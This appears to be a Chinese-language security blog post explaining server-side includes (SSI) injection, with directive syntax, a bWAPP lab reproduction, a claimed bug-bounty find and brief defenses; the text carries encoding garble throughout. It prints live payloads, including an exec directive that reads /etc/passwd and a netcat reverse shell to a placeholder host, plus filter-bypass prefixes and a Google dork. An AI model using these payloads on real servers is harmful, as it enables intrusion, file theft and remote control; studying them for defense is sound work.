SSI 注入全稱(chēng)Server-Side Includes Injection,即服務(wù)端包含注入。SSI 是類(lèi)似于 CGI,用于動(dòng)態(tài)頁(yè)面的指令。SSI 注入允許遠(yuǎn)程在 Web 應(yīng)用中注入腳本來(lái)執(zhí)行代碼。
SSI是嵌入html頁(yè)面中的指令,在頁(yè)面被提供時(shí)由服務(wù)器進(jìn)行運(yùn)算,以對(duì)現(xiàn)有HTML頁(yè)面增加動(dòng)態(tài)生成的內(nèi)容,而無(wú)須通過(guò)CGI程序提供其整個(gè)頁(yè)面,或者使用其他動(dòng)態(tài)技術(shù)。
從技術(shù)角度上來(lái)說(shuō),SSI就是在HTML文件中,可以通過(guò)注釋行調(diào)用的命令或指針,即允許通過(guò)在HTML頁(yè)面注入腳本或遠(yuǎn)程執(zhí)行任意代碼。
1.1 啟用SSI
**示例:Nginx 配置SSI功能**
在http段中加入下面幾句即可:
ssi on;
ssi_silent_errors off;
ssi_types text/shtml;
默認(rèn)Apache不開(kāi)啟SSI,SSI這種技術(shù)已經(jīng)比較少用了。如果應(yīng)用沒(méi)有使用到SSI,關(guān)閉服務(wù)器對(duì)SSI的支持即可。
IIS和Apache都可以開(kāi)啟SSI功能,具體可參考:Apache、Nginx 服務(wù)配置服務(wù)器端包含(SSI)
1.2 SSI語(yǔ)法
首先,介紹下SHTML,在SHTML文件中使用SSI指令引用其他的html文件(#include),此時(shí)服務(wù)器會(huì)將SHTML中包含的SSI指令解釋?zhuān)賯魉徒o客戶端,此時(shí)的HTML中就不再有SSI指令了。比如說(shuō)框架是固定的,但是里面的文章,其他菜單等即可以用#include引用進(jìn)來(lái)。
①顯示服務(wù)器端環(huán)境變量<#echo>
本文檔名稱(chēng):
<!–#echo var="DOCUMENT_NAME"–>
現(xiàn)在時(shí)間:
<!–#echo var="DATE_LOCAL"–>
顯示IP地址:
<! #echo var="REMOTE_ADDR"–>
②將文本內(nèi)容直接插入到文檔中<#include>
<! #include file="文件名稱(chēng)"–>
<!--#include virtual="index.html" -->
<! #include virtual="文件名稱(chēng)"–>
<!--#include virtual="/www/footer.html" -->
注:file包含文件可以在同一級(jí)目錄或其子目錄中,但不能在上一級(jí)目錄中,virtual包含文件可以是Web站點(diǎn)上的虛擬目錄的完整路徑
③顯示W(wǎng)EB文檔相關(guān)信息<#flastmod><#fsize>(如文件制作日期/大小等)
文件最近更新日期:
<! #flastmod file="文件名稱(chēng)"–>
文件的長(zhǎng)度:
<!–#fsize file="文件名稱(chēng)"–>
④直接執(zhí)行服務(wù)器上的各種程序<#exec>(如CGI或其他可執(zhí)行程序)
<!–#exec cmd="文件名稱(chēng)"–>
<!--#exec cmd="cat /etc/passwd"-->
<!–#exec cgi="文件名稱(chēng)"–>
<!--#exec cgi="/cgi-bin/access_log.cgi"–>
將某一外部程序的輸出插入到頁(yè)面中。可插入CGI程序或者是常規(guī)應(yīng)用程序的輸入,這取決于使用的參數(shù)是cmd還是cgi。
⑤設(shè)置SSI信息顯示格式<#config>(如文件制作日期/大小顯示方式)
⑥高級(jí)SSI可設(shè)置變量使用if條件語(yǔ)句。
0x02 漏洞場(chǎng)景
在很多業(yè)務(wù)中,用戶輸入的內(nèi)容會(huì)顯示在頁(yè)面中。比如,一個(gè)存在反射型XSS漏洞的頁(yè)面,如果輸入的payload不是XSS代碼而是SSI的標(biāo)簽,同時(shí)服務(wù)器又開(kāi)啟了對(duì)SSI的支持的話就會(huì)存在SSI漏洞。
從定義中看出,頁(yè)面中有一小部分是動(dòng)態(tài)輸出的時(shí)候使用SSI,比如:
- 文件相關(guān)的屬性字段
- 當(dāng)前時(shí)間
- 訪客IP
- 調(diào)用CGI程序
0x03 SSI注入的條件
當(dāng)符合下列條件時(shí),攻擊者可以在 Web 服務(wù)器上運(yùn)行任意命令:
- Web 服務(wù)器已支持SSI(服務(wù)器端包含)
- Web 應(yīng)用程序未對(duì)對(duì)相關(guān)SSI關(guān)鍵字做過(guò)濾
- Web 應(yīng)用程序在返回響應(yīng)的HTML頁(yè)面時(shí),嵌入用戶輸入
SSI注入常用命令:[Server-Side Includes (SSI) Injection]
https://www.owasp.org/index.php/Server-Side_Includes_(SSI)_Injection
0x04 SSI挖掘思路
兩個(gè)思路:
- 從業(yè)務(wù)場(chǎng)景來(lái)Fuzz,比如獲取IP、定位、時(shí)間等
- 識(shí)別頁(yè)面是否包含.stm,.shtm和.shtml后綴
- 伏特分布式漏洞掃描平臺(tái)已經(jīng)全面支持SSI檢測(cè)。
google dork:'inurl:bin/cklb'
0x05 SSI漏洞復(fù)現(xiàn)
5.1 本地測(cè)試
我們使用bWApp來(lái)做漏洞演示環(huán)境
選擇:'Server-Side Includes (SSI) Injection'
SSI注入
BP截圖
成功執(zhí)行了代碼。
再使用下exec指令使用cmd作為參數(shù)執(zhí)行服務(wù)器端命令:'<!--#exec cmd="ls -al"-->'
使用exec執(zhí)行服務(wù)端端命令
5.2 漏洞挖掘
運(yùn)氣好,剛好遇到個(gè)某SRC的。
"-->'-->`--><<!--#exec cmd="cat /etc/passwd"-->
執(zhí)行命令
獲取服務(wù)器端配置信息
"-->'-->`--><<!--#exec cmd="nc x.x.x.x 9090 -e /bin/bash"-->
反彈shell
執(zhí)行反彈shell
0x06 SSI防御
- 關(guān)閉服務(wù)器SSI功能
- 過(guò)濾相關(guān)SSI特殊字符(`<,>,#,-,",'`)
喜歡安全的朋友,可以關(guān)注并轉(zhuǎn)發(fā),私信我交流討論